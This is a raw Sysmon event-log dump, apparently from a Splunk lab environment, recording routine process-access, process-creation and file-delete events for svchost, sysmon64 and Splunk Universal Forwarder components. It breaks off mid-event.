14:57:33.998{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016222Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.998{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016221Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.998{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016220Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.998{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016219Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.998{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016218Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.998{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016217Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.998{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-725D-613B-F304-00000000F101}1244C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016216Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.998{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-725D-613B-F304-00000000F101}1244C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016215Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.999{625C326B-725D-613B-F304-00000000F101}1244C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:35.216{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8CD3CD2E2ED161961E3C31E5BC290CC3,SHA256=E6EB471EE3D39ACE0C2D7BDAC18C3FE02C664C13C03592774C08D7AA0CD5033B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016259Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.967{625C326B-725F-613B-F504-00000000F101}35883520C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016258Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.764{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-725F-613B-F504-00000000F101}3588C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016257Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016256Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016255Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016254Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016253Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016252Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016251Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016250Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016249Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016248Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.764{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-725F-613B-F504-00000000F101}3588C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016247Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.764{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-725F-613B-F504-00000000F101}3588C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016246Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.765{625C326B-725F-613B-F504-00000000F101}3588C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000016245Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.483{625C326B-725F-613B-F404-00000000F101}804680C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016244Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.264{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-725F-613B-F404-00000000F101}804C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000016243Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.264{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=572EA96D36D9C8F5A790ABA6C946FAA2,SHA256=4A649A644B99DA0422B0F9AB53DA6AE7CA9ABF82AD3F6E4792C7CAEAEB9355D5,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016242Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016241Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 